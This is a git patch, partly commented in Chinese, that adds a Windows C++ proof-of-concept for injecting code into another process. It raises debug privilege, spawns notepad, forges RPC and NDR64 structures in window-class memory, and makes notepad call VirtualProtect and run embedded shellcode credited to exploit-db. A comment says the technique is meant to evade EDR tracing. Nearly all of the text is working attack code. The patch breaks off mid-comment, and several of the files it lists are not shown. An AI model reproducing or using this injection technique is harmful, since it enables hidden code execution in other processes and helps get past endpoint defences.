From e5ad598d2aab27777cb0e5dd5c34102cbc164f73 Mon Sep 17 00:00:00 2001 From: Huoji's <1296564236@qq.com> Date: Sun, 27 Oct 2024 22:21:56 +0800 Subject: [PATCH] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E9=A1=B9=E7=9B=AE=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Resource.h | 30 ++ framework.h | 15 + rpc.h | 93 ++++++ shit.cpp | 763 ++++++++++++++++++++++++++++++++++++++++++ shit.h | 3 + shit.ico | Bin 0 -> 46227 bytes shit.rc | Bin 0 -> 6458 bytes shit.sln | 31 ++ shit.vcxproj | 163 +++++++++ shit.vcxproj.filters | 58 ++++ shit_2.cpp | 777 +++++++++++++++++++++++++++++++++++++++++++ small.ico | Bin 0 -> 46227 bytes sunday.cpp | 79 +++++ targetver.h | 6 + teb_def.h | 261 +++++++++++++++ 15 files changed, 2279 insertions(+) create mode 100644 Resource.h create mode 100644 framework.h create mode 100644 rpc.h create mode 100644 shit.cpp create mode 100644 shit.h create mode 100644 shit.ico create mode 100644 shit.rc create mode 100644 shit.sln create mode 100644 shit.vcxproj create mode 100644 shit.vcxproj.filters create mode 100644 shit_2.cpp create mode 100644 small.ico create mode 100644 sunday.cpp create mode 100644 targetver.h create mode 100644 teb_def.h diff --git a/Resource.h b/Resource.h new file mode 100644 index 0000000..8b92b68 --- /dev/null +++ b/Resource.h @@ -0,0 +1,30 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ 生成的包含文件。 +// 使用者 shit.rc + +#define IDS_APP_TITLE 103 + +#define IDR_MAINFRAME 128 +#define IDD_SHIT_DIALOG 102 +#define IDD_ABOUTBOX 103 +#define IDM_ABOUT 104 +#define IDM_EXIT 105 +#define IDI_SHIT 107 +#define IDI_SMALL 108 +#define IDC_SHIT 109 +#define IDC_MYICON 2 +#ifndef IDC_STATIC +#define IDC_STATIC -1 +#endif +// 新对象的下一组默认值 +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS + +#define _APS_NO_MFC 130 +#define _APS_NEXT_RESOURCE_VALUE 129 +#define _APS_NEXT_COMMAND_VALUE 32771 +#define _APS_NEXT_CONTROL_VALUE 1000 +#define _APS_NEXT_SYMED_VALUE 110 +#endif +#endif diff --git a/framework.h b/framework.h new file mode 100644 index 0000000..20835fd --- /dev/null +++ b/framework.h @@ -0,0 +1,15 @@ +// header.h: 标准系统包含文件的包含文件, +// 或特定于项目的包含文件 +// + +#pragma once + +#include "targetver.h" +#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容 +// Windows 头文件 +#include +// C 运行时头文件 +#include +#include +#include +#include diff --git a/rpc.h b/rpc.h new file mode 100644 index 0000000..f07ce8b --- /dev/null +++ b/rpc.h @@ -0,0 +1,93 @@ +#pragma once +#include +#include +#include +#include +#include + +typedef struct _NDR64_PROC_FORMAT +{ + /* 0x0000 */ unsigned int Flags; + /* 0x0004 */ unsigned int StackSize; + /* 0x0008 */ unsigned int ConstantClientBufferSize; + /* 0x000c */ unsigned int ConstantServerBufferSize; + /* 0x0010 */ unsigned short RpcFlags; + /* 0x0012 */ unsigned short FloatDoubleMask; + /* 0x0014 */ unsigned short NumberOfParams; + /* 0x0016 */ unsigned short ExtensionSize; +} NDR64_PROC_FORMAT, *PNDR64_PROC_FORMAT; /* size: 0x0018 */ + +/* +#define ULONG_PTR_T ULONG_PTR +#define PTR_T * + +typedef struct _RPC_DISPATCH_TABLE_T { + UINT DispatchTableCount; + RPC_DISPATCH_FUNCTION PTR_T DispatchTable; + ULONG_PTR_T Reserved; +} RPC_DISPATCH_TABLE_T, PTR_T PRPC_DISPATCH_TABLE_T; + +typedef struct _RPC_PROTSEQ_ENDPOINT_T { + UCHAR PTR_T RpcProtocolSequence; + UCHAR PTR_T Endpoint; +} RPC_PROTSEQ_ENDPOINT_T, PTR_T PRPC_PROTSEQ_ENDPOINT_T; + +typedef struct _RPC_SERVER_INTERFACE_T { + UINT Length; + RPC_IF_ID InterfaceId; + RPC_IF_ID TransferSyntax; + PRPC_DISPATCH_TABLE_T DispatchTable; + UINT RpcProtseqEndpointCount; + PRPC_PROTSEQ_ENDPOINT_T RpcProtseqEndpoint; + RPC_MGR_EPV PTR_T DefaultManagerEpv; + void const PTR_T InterpreterInfo; + UINT Flags; +} RPC_SERVER_INTERFACE_T, PTR_T PRPC_SERVER_INTERFACE_T; + + +typedef struct _NDR_EXPR_DESC_T +{ + const unsigned short PTR_T pOffset; + const unsigned char PTR_T pFormatExpr; +} NDR_EXPR_DESC_T; + + +typedef struct _MIDL_STUB_DESC_T { + void PTR_T RpcInterfaceInformation; + void PTR_T pfnAllocate; + void PTR_T pfnFree; + void PTR_T pAutoHandle; + const VOID PTR_T apfnNdrRundownRoutines; + const VOID PTR_T aGenericBindingRoutinePairs; + const VOID PTR_T apfnExprEval; + const VOID PTR_T aXmitQuintuple; + const unsigned char PTR_T pFormatTypes; + int fCheckBounds; + unsigned long Version; + VOID PTR_T pMallocFreeStruct; + long MIDLVersion; + const COMM_FAULT_OFFSETS PTR_T CommFaultOffsets; + // New fields for version 3.0+ + const VOID PTR_T aUserMarshalQuadruple; + // Notify routines - added for NT5, MIDL 5.0 + const VOID PTR_T NotifyRoutineTable; + + ULONG_PTR_T mFlags; + // International support routines - added for 64bit post NT5 + const VOID PTR_T CsRoutineTables; + void PTR_T ProxyServerInfo; + const NDR_EXPR_DESC_T PTR_T pExprInfo; + // Fields up to now present in win2000 release. +} MIDL_STUB_DESC_T, PTR_T PMIDL_STUB_DESC_T; + +typedef struct _MIDL_SERVER_INFO_T { + PMIDL_STUB_DESC_T pStubDesc; + const VOID PTR_T PTR_T DispatchTable; + const unsigned char PTR_T ProcString; + const unsigned short PTR_T FmtStringOffset; + const VOID PTR_T PTR_T ThunkTable; + RPC_IF_ID PTR_T pTransferSyntax; + ULONG_PTR_T nCount; + VOID PTR_T pSyntaxInfo; +} MIDL_SERVER_INFO_T, PTR_T PMIDL_SERVER_INFO_T; +*/ \ No newline at end of file diff --git a/shit.cpp b/shit.cpp new file mode 100644 index 0000000..222d120 --- /dev/null +++ b/shit.cpp @@ -0,0 +1,763 @@ +// shit.cpp : 定义应用程序的入口点。 +// + +#include "framework.h" +#include "shit.h" +#include +#include +#include "teb_def.h" +#include "rpc.h" +PVOID +SundaySearch_ByProcess(HANDLE ProcesHandle, char* pattern, PVOID address, + SIZE_T readSize); + +PVOID +LookupTagClsAddressByProcess(HANDLE ProcessHandle) { +#ifdef _WIN64 +#define START_ADDRESS (PVOID)0x00000000010000 +#define END_ADDRESS (0x00007FF8F2580000 - 0x00000000010000) +#else +#define START_ADDRESS (PVOID)0x10000 +#define END_ADDRESS (0x7FFF0000 - 0x10000) +#endif + typedef LONG(NTAPI * FnZwQueryVirtualMemory)(HANDLE, PVOID, int, PVOID, + SIZE_T, PSIZE_T); + static FnZwQueryVirtualMemory ZwQueryVirtualMemory = + (FnZwQueryVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), + "ZwQueryVirtualMemory"); + if (!ZwQueryVirtualMemory) { + std::cerr << "ZwQueryVirtualMemory GetProcAddress failed: " + << GetLastError() << std::endl; + return 0; + } + MEMORY_BASIC_INFORMATION MemoryBasicInfo = {0}; + PVOID CurrentAddress = START_ADDRESS; + uint64_t TheTagClsAddress = 0; + SIZE_T BytesReturned = 0; + + while (true) { + BOOLEAN ContinueEnum = FALSE; + + RtlZeroMemory(&MemoryBasicInfo, sizeof(MemoryBasicInfo)); + + auto ntStatus = ZwQueryVirtualMemory( + ProcessHandle, CurrentAddress, 0, &MemoryBasicInfo, + sizeof(MEMORY_BASIC_INFORMATION), &BytesReturned); + + if (ntStatus != 0) break; + + do { + if (MemoryBasicInfo.State != MEM_COMMIT) { + break; + } + if (MemoryBasicInfo.Type != MEM_PRIVATE && + MemoryBasicInfo.Type != MEM_MAPPED) { + break; + } + + // 自己的是PAGE_READWRITE 别人的是PAGE_READONLY + if (MemoryBasicInfo.Protect != PAGE_READONLY) { + break; + } + + TheTagClsAddress = (uint64_t)SundaySearch_ByProcess( + ProcessHandle, (char*)"13 37 CC A0 A0 68 75 6F 6A 69", + (UCHAR*)CurrentAddress, MemoryBasicInfo.RegionSize); + if (TheTagClsAddress != NULL) { + break; + } + + } while (FALSE); + if (TheTagClsAddress != 0) { + break; + } + CurrentAddress = (PVOID)((ULONG_PTR)MemoryBasicInfo.BaseAddress + + MemoryBasicInfo.RegionSize); + } + return (PVOID)TheTagClsAddress; +} + +void printHex(const char* name, const void* data, size_t size) { + printf("%s: ", name); + const unsigned char* byteData = (const unsigned char*)data; + for (size_t i = 0; i < size; ++i) { + printf("%02X ", byteData[i]); + } + printf("\n"); +} + +struct _NDR64_PARAM_FLAGS { + unsigned __int16 MustSize : 1; + unsigned __int16 MustFree : 1; + unsigned __int16 IsPipe : 1; + unsigned __int16 IsIn : 1; + unsigned __int16 IsOut : 1; + unsigned __int16 IsReturn : 1; + unsigned __int16 IsBasetype : 1; + unsigned __int16 IsByValue : 1; + unsigned __int16 IsSimpleRef : 1; + unsigned __int16 IsDontCallFreeInst : 1; + unsigned __int16 SaveForAsyncFinish : 1; + unsigned __int16 IsPartialIgnore : 1; + unsigned __int16 IsForceAllocate : 1; + unsigned __int16 Reserved : 2; + unsigned __int16 UseCache : 1; +}; +typedef const void* PNDR64_FORMAT; +typedef struct _NDR64_PARAM_FORMAT { + void* Type; + _NDR64_PARAM_FLAGS Attributes; + unsigned __int16 Reserved; + unsigned __int32 StackOffset; +}; +/* +.rdata:00007FFF3A2784E0 ?Ndr64SimpleTypeBufferSize@@3QBEB db 0 ; DATA XREF: +Ndr64ComplexStructBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const +*)+31B↑o .rdata:00007FFF3A2784E0 ; +Ndr64UnionBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const *)+B8↑o ... +.rdata:00007FFF3A2784E1 db 1 +.rdata:00007FFF3A2784E2 db 1 +.rdata:00007FFF3A2784E3 db 2 +.rdata:00007FFF3A2784E4 db 2 +.rdata:00007FFF3A2784E5 db 4 +.rdata:00007FFF3A2784E6 db 4 +.rdata:00007FFF3A2784E7 db 8 +.rdata:00007FFF3A2784E8 db 8 +*/ +enum class _Ndr64SimpleTypeBUfferSizeMap { + kChar = 0, + kShort = 2, + kint32 = 4, + kint64 = 6 +}; +// https://www.exploit-db.com/shellcodes/49819 +// 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面 +unsigned char payload[] = +"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b" +"\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" +"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08" +"\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" +"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24" +"\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" +"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6" +"\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" +"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96" +"\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" +"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e" +"\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" +"\x48\x83\xec\x20\x41\xff\xd6"; +void buildVirtualProtectShellCode(char* tmpShellcode, + uint64_t editShellcodeLocation, + uint64_t theNdrServerCallAllAddress, + uint64_t shellCodeChangeAddress, + uint64_t virtualProtectReturnValue) { + + //第二个shellcode在编辑框里面,负责call virtualprotect + *(ULONG_PTR*)tmpShellcode = (ULONG_PTR)editShellcodeLocation; + + // *Message->Handle + 0x80 = NdrServerCallAll + *(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress; + +#define REMOTE_EDIT_ADDRESS(x) \ + ((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \ + (ULONG_PTR)editShellcodeLocation) + RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode; + RPC_SERVER_INTERFACE* RpcInterfaceInfo0 = + (RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88); + MIDL_SERVER_INFO* RpcSrvInfo0 = + (MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE)); + PVOID* DispatchTable0 = + (PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO)); + MIDL_SYNTAX_INFO* SyntaxInfo0 = + (MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID)); + MIDL_STUB_DESC* StubDesc0 = + (MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2); + ULONG_PTR* FmtStrOffset0 = + (ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC)); + NDR64_PROC_FORMAT* ProcStr0 = + (NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 + + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + + sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR)); + + //_NDR_PROC_CONTEXT Ndr+Proc + DispatchTable0[0] = (PVOID)VirtualProtect; + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0); + + FmtStrOffset0[0] = (ULONG_PTR)REMOTE_EDIT_ADDRESS(ProcStr0); + (SyntaxInfo0 + 1)->FmtStringOffset = + (USHORT*)REMOTE_EDIT_ADDRESS(FmtStrOffset0); + RpcSrvInfo0->pSyntaxInfo = + (MIDL_SYNTAX_INFO*)REMOTE_EDIT_ADDRESS(SyntaxInfo0); + RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_EDIT_ADDRESS(StubDesc0); + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0); + // RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337; + RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA; + + + + RpcInterfaceInfo0->InterpreterInfo = + (MIDL_SERVER_INFO*)REMOTE_EDIT_ADDRESS(RpcSrvInfo0); + RpcMsg0->RpcInterfaceInformation = + (RPC_SERVER_INTERFACE*)REMOTE_EDIT_ADDRESS(RpcInterfaceInfo0); + RpcMsg0->ProcNum = 0; + RpcMsg0->RpcFlags = 0x1000; + + *(ULONG_PTR*)(tmpShellcode + 0x100) = + (ULONG_PTR)VirtualProtect; + + auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) + + sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT); + // auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset); + //*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr; + // calcOffset += sizeof(ULONG_PTR); + + /* + * https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152 + if ( pParamFlags->IsIn || + (pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) || + pParamFlags->IsPipe ) + continue; + */ + std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress; + // type的指针,这个type会读两次 **typeaddr + auto fnSetNdr64Param = [&]() { + static auto currentCopyCount = 0; + auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset); + ndr64Param->Attributes.IsIn = true; + ndr64Param->Attributes.IsBasetype = true; + // auto typeAddress = tmpShellcode + calcOffset; + // theParamTypeAddress.push_back(typeAddress); + // ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + ndr64Param->StackOffset = currentCopyCount * 4; + currentCopyCount += 1; + // 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值 + // https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43 + //*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + // calcOffset += sizeof(_NDR64_PARAM_FORMAT); + theParamTypeAddress.push_back(ndr64Param); + calcOffset += sizeof(_NDR64_PARAM_FORMAT); + }; + + const auto virtualProtectParamSize = 8 * 4; + for (size_t i = 0; i < virtualProtectParamSize / 4; i++) { + fnSetNdr64Param(); + } + auto paramsBuffer = tmpShellcode + calcOffset; + // 设置参数 + RpcMsg0->Buffer = (void*)REMOTE_EDIT_ADDRESS(paramsBuffer); + RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数 + calcOffset += RpcMsg0->BufferLength; + + // Make HandleType to 0 + ProcStr0->Flags = 1; + ProcStr0->StackSize = virtualProtectParamSize; + ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4; + + + auto tempCover = (uint64_t)shellCodeChangeAddress; + memcpy(paramsBuffer, &tempCover, 8); + + tempCover = (uint64_t)sizeof(payload); + memcpy(paramsBuffer + 8, &tempCover, 8); + + tempCover = (uint64_t)PAGE_EXECUTE_READWRITE; + memcpy(paramsBuffer + 8 + 8, &tempCover, 8); + + memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8); + calcOffset += sizeof(uint64_t); + + for (auto ndr64Param : theParamTypeAddress) { + auto typeAddress = tmpShellcode + calcOffset; + ndr64Param->Type = (void*)REMOTE_EDIT_ADDRESS(typeAddress); + calcOffset += sizeof(void*); + + *(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + calcOffset += sizeof(char); + } + + auto payloadAddress = tmpShellcode + calcOffset; + tempCover = REMOTE_EDIT_ADDRESS(payloadAddress); + memcpy(payloadAddress, payload, sizeof(payload)); + //I_RpcGetBufferWithObject + //if ( !Message->Handle || *((_DWORD *)Handle + 2) != 0x89ABCDEF || (*((_DWORD *)Handle + 3) & 0x33307C) == 0 ) + *(ULONG*)(tmpShellcode + 8) = (ULONG)0x89ABCDEF; + *(ULONG*)(tmpShellcode + 3 * 4) = (ULONG)0x33307C; + // (*(__int64 (__fastcall **)(BINDING_HANDLE *, RPC_MESSAGE *))(*(_QWORD *)Handle + 0x68i64))(Handle, v4); + //这里每个系统都不一样,我的是0x70 + *(ULONG_PTR*)(tmpShellcode + 0x70) = (ULONG_PTR)tempCover; + printf("payload address: %p remoteaddress: %p ", payloadAddress, tempCover); + +} +void PrivilegeEscalation() { + HANDLE hToken; + LUID luid; + TOKEN_PRIVILEGES tp; + OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, + &hToken); + LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); + tp.PrivilegeCount = 1; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + tp.Privileges[0].Luid = luid; + AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); +} +int APIENTRY wWinMain(_In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, + _In_ int nCmdShow) { + PrivilegeEscalation(); + // 创建notepad进程,泄露就泄露了 去他妈的 + STARTUPINFO si = {sizeof(si)}; + PROCESS_INFORMATION pi; + if (!CreateProcess(L"L:\\Windows\\system32\\notepad.exe", NULL, NULL, NULL, + FALSE, 0, NULL, NULL, &si, &pi)) { + std::cerr << "CreateProcess failed: " << GetLastError() << std::endl; + return 1; + } + // 等完全起来 + WaitForInputIdle(pi.hProcess, INFINITE); + + // 获取notepad进程中edit窗口的句柄 + HWND hwndNotepad = FindWindow(L"Notepad", NULL); + HWND hwndEdit = FindWindowEx(hwndNotepad, NULL, L"Edit", NULL); + if (!hwndEdit) { + std::cerr << "FindWindowEx failed: " << GetLastError() << std::endl; + return 1; + } + + // 注册一个带有额外类内存的窗口类 + // https://learn.microsoft.com/en-us/windows/win32/winmsg/about-window-classes?redirectedfrom=MSDN + WNDCLASSEX wcex = {sizeof(wcex)}; + wcex.lpfnWndProc = DefWindowProc; + wcex.cbClsExtra = wcex.cbWndExtra = 1024 * 64; + wcex.lpszClassName = L"CustomWindowClass"; + wcex.hInstance = hInstance; + if (!RegisterClassEx(&wcex)) { + std::cerr << "RegisterClassEx failed: " << GetLastError() << std::endl; + return 1; + } + + // 创建一个仅消息窗口 + HWND hwndMessage = + CreateWindowExW(0, L"CustomWindowClass", NULL, 0, 0, 0, 0, 0, + HWND_MESSAGE, NULL, hInstance, NULL); + if (!hwndMessage) { + std::cerr << "CreateWindowEx failed: " << GetLastError() << std::endl; + return 1; + } + ShowWindow(hwndMessage, SW_SHOW); + UpdateWindow(hwndMessage); +#ifdef _WIN64 + typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset, + LONG64 dwNewLong, BOOL Ansi); +#else + typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset, + LONG dwNewLong, BOOL Ansi); + +#endif // _WIN64 + + FnNtUserSetClassLong NtUserSetClassLong = + (FnNtUserSetClassLong)GetProcAddress(LoadLibrary(L"win32u.dll"), + "NtUserSetClassLong"); + + if (!NtUserSetClassLong) { + std::cerr << "NtUserSetClassLong GetProcAddress failed: " + << GetLastError() << std::endl; + return 1; + } + + /* + typedef LONG(NTAPI* FnNtUserSetClassLongPtr)(HWND hwnd, INT offset, LONG_PTR + newval, BOOL ansi); FnNtUserSetClassLongPtr NtUserSetClassLongPtr = + (FnNtUserSetClassLongPtr)GetProcAddress(LoadLibrary(L"win32u.dll"), + "NtUserSetClassLongPtr"); + + if (!NtUserSetClassLongPtr) { + std::cerr << "NtUserSetClassLongPtr GetProcAddress failed: " << + GetLastError() << std::endl; return 1; + } + */ + const char shitInput[] = {0x13, 0x37, 0xCC, 0xA0, 0xA0, + 0x68, 0x75, 0x6f, 0x6a, 0x69}; + // https://github.com/wine-mirror/wine/blob/1134834b7478632da9c60f36d4a7cf254729242c/dlls/win32u/class.c#L705 + // offset = 0 + for (size_t i = 0; i < sizeof(shitInput); i++) { + NtUserSetClassLong(hwndMessage, i, shitInput[i], FALSE); + } + // 通过查找TEB->Win32ClientInfo->phkCurrent结构下的AllocationBase来确定窗口内存的基址 + // 只是缩小范围,其实不如直接virtualqueryex,我实在是不知道这里要怎么定位到notepad的地址.如果用win32 + // api edr绝对有痕迹 这里就是用readmemory + auto TheTagClsAddress = LookupTagClsAddressByProcess((HANDLE)-1); + if (TheTagClsAddress == 0) { + std::cerr << "TheTagClsAddress failed: " << GetLastError() << std::endl; + return 1; + } + auto TheNotepadTagClsAddress = LookupTagClsAddressByProcess(pi.hProcess); + if (TheNotepadTagClsAddress == 0) { + std::cerr << "TheNotepadTagClsAddress failed: " << GetLastError() + << std::endl; + return 1; + } + for (size_t i = 0; i < sizeof(shitInput); i++) { + NtUserSetClassLong(hwndMessage, i, 0x0, FALSE); + } + // 这个作者抄了这玩意 + // https://modexp.wordpress.com/2020/07/07/wpi-wm-paste/ + // https://github.com/odzhan/injection/blob/master/eminject/poc.c#L38 + + /* + RPC_STATUS __stdcall I_RpcFreePipeBuffer(RPC_MESSAGE *Message) { + (*(void (__fastcall **)(RPC_BINDING_HANDLE, RPC_MESSAGE *))(*(_QWORD + *)Message->Handle + 0x80))( //Message->Handle + 0x80 = NdrServerCallAll + Message->Handle, // Message->Handle = PRPC_MESSAGE pRpcMsg + Message); + return 0; + } + */ + + /* + void __stdcall NdrServerCallAll(PRPC_MESSAGE pRpcMsg) + { + struct _MIDL_SERVER_INFO_ **RpcInterfaceInformation; // rax + unsigned int v2; // [rsp+50h] [rbp+8h] BYREF + + RpcInterfaceInformation = (struct _MIDL_SERVER_INFO_ + **)pRpcMsg->RpcInterfaceInformation; v2 = 0; + ((void (__stdcall *)(void *, void *, struct _RPC_MESSAGE *, struct + _MIDL_SERVER_INFO_ *, int (*const *)(void), struct _MIDL_SYNTAX_INFO *, + unsigned int *))Ndr64StubWorker)( 0i64, 0i64, pRpcMsg, + RpcInterfaceInformation[0xA], + RpcInterfaceInformation[0xA]->DispatchTable, + RpcInterfaceInformation[0xA]->pSyntaxInfo + 1, + &v2); + } + */ + // 不可以用NdrServerCall2的原因是需要调用PerformRpcInitialization。 + const auto hRpcRt4 = LoadLibraryA("rpcrt4.dll"); + + const auto theNdrServerCallAllAddress = + (uint64_t)GetProcAddress(hRpcRt4, "NdrServerCallAll"); + + const auto theI_RpcFreePipeBufferAddr = + GetProcAddress(hRpcRt4, "I_RpcFreePipeBuffer"); + const auto theVirtualProtectAddr = (void*)VirtualProtect; + + // PRPC_MESSAGE->Handle + /* + const auto fnInitRpcMessageHandle = [&](void* localStartAddress, void* + remoteStartAddress, void* callAddress) -> void { static const auto maxSize = + sizeof(RPC_MESSAGE) + 0x100 + 0x80 + 0x80; const auto tempBuffer = new + char[maxSize]; memset(tempBuffer, 0x0, maxSize); const auto + remote_notepad_rpc_Message = (PRPC_MESSAGE)((uint64_t)remoteStartAddress); + const auto remote_notepad_rpc_Message_handle = + (void*)((uint64_t)remote_notepad_rpc_Message + sizeof(RPC_MESSAGE)); + //这里会是RPC_MESSAGE开头 + + const auto remote_notepad_rpc_RpcInterfaceInformation = + (void*)((uint64_t)remote_notepad_rpc_Message_handle + 0x100); const auto + remote_notepad_rpc_RpcInterfaceInformation_DisPathTable = + (void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation + 0x80); const + auto remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath = + (void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable + + 0x80); + + const auto local_rpc_Message = (PRPC_MESSAGE)((uint64_t)tempBuffer); + const auto local_rpc_Message_handle = + (void*)((uint64_t)local_rpc_Message + + sizeof(RPC_MESSAGE));//这里会是RPC_MESSAGE开头,很重要,给后面的local_rpc_dispath_table_dispath_table用 + + const auto local_rpc_RpcInterfaceInformation = + (void*)((uint64_t)local_rpc_Message_handle + sizeof(RPC_MESSAGE) + 0x100); + const auto local_rpc_RpcInterfaceInformation_DisPathTable = + (void*)((uint64_t)local_rpc_RpcInterfaceInformation + 0x80); const auto + local_rpc_RpcInterfaceInformation_DisPathTable_Dispath = + (void*)((uint64_t)local_rpc_RpcInterfaceInformation_DisPathTable + 0x80); + + local_rpc_Message->ProcNum = 0; //这里填0 + local_rpc_Message->RpcInterfaceInformation = + (void**)remote_notepad_rpc_RpcInterfaceInformation; + local_rpc_Message->Handle = (void*)remote_notepad_rpc_Message_handle; + // 填第一次Message->Handle + 0x80的地址 : + *(uint64_t*)((uint64_t)local_rpc_Message_handle + 0x80) = + theNdrServerCallAllAddress; + + auto wtf = ((uint64_t)local_rpc_RpcInterfaceInformation + 0xA0 * + sizeof(void*)); + *(uint32_t*)(wtf + 0x0) = 0x80;//长度 + *(uint64_t*)(wtf + 0x8) = + (uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable;//dispathPath(也是一个数组) + + auto local_rpc_dispath_table = + (uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable); + *(uint32_t*)((uint64_t)local_rpc_dispath_table + 0x0) = 1;// + dispath_count + *(uint64_t*)((uint64_t)local_rpc_dispath_table + 0x4) = + (uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath; + // dispath_dispath + + auto local_rpc_dispath_table_dispath_table = + (uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable_Dispath); + *(uint64_t*)((uint64_t)local_rpc_dispath_table_dispath_table + 0x0) = + (uint64_t)callAddress; memcpy(tempBuffer, local_rpc_Message, maxSize); + // +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4 + auto baseIndex = (uint64_t)localStartAddress + 0x8 - + (uint64_t)TheTagClsAddress; for (size_t i = 0; i < maxSize; i++) + { + NtUserSetClassLong(hwndMessage, i + baseIndex, tempBuffer[i], + FALSE); + } + delete[] tempBuffer; + }; + */ + // const auto localrpcMessage = (PRPC_MESSAGE)((uint64_t)TheTagClsAddress + + // 0x8); const auto remoterpcMessage = + // 